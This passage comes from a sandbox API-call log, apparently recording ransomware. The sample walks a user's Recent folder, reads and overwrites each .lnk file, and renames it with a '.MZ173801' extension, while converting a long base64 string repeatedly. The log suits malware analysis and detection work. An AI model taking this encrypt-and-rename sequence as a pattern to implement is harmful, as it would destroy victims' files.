dlr.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf3700e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf3700e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf3700e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xef1)) returned 1 [0121.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HoMGKUXklaWv Dlr.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\homgkuxklawv dlr.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.323] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.323] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.323] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xef1 [0121.323] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.323] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xef1, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xef1, lpOverlapped=0x0) returned 1 [0121.324] CloseHandle (hObject=0x288) returned 1 [0121.324] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HoMGKUXklaWv Dlr.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\homgkuxklawv dlr.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.325] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xef1, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xef1, lpOverlapped=0x0) returned 1 [0121.326] CloseHandle (hObject=0x288) returned 1 [0121.329] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HoMGKUXklaWv Dlr.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\homgkuxklawv dlr.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HoMGKUXklaWv Dlr.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\homgkuxklawv dlr.lnk.mz173801")) returned 1 [0121.330] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd4ca5a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc110a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfc110a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="hWfUtaPtfp9OHXNA9h.lnk", cAlternateFileName="HWFUTA~1.LNK")) returned 1 [0121.330] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.330] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.331] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWfUtaPtfp9OHXNA9h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hwfutaptfp9ohxna9h.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd4ca5a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc110a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfc110a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x207)) returned 1 [0121.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWfUtaPtfp9OHXNA9h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hwfutaptfp9ohxna9h.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.336] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.336] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.336] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x207 [0121.336] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.336] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x207, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x207, lpOverlapped=0x0) returned 1 [0121.337] CloseHandle (hObject=0x288) returned 1 [0121.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWfUtaPtfp9OHXNA9h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hwfutaptfp9ohxna9h.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.338] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x207, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x207, lpOverlapped=0x0) returned 1 [0121.339] CloseHandle (hObject=0x288) returned 1 [0121.345] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWfUtaPtfp9OHXNA9h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hwfutaptfp9ohxna9h.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWfUtaPtfp9OHXNA9h.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hwfutaptfp9ohxna9h.lnk.mz173801")) returned 1 [0121.346] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf55f2c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf55f2c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf55f2c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf37, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="HXnZ4EJpd91xeE75V.lnk", 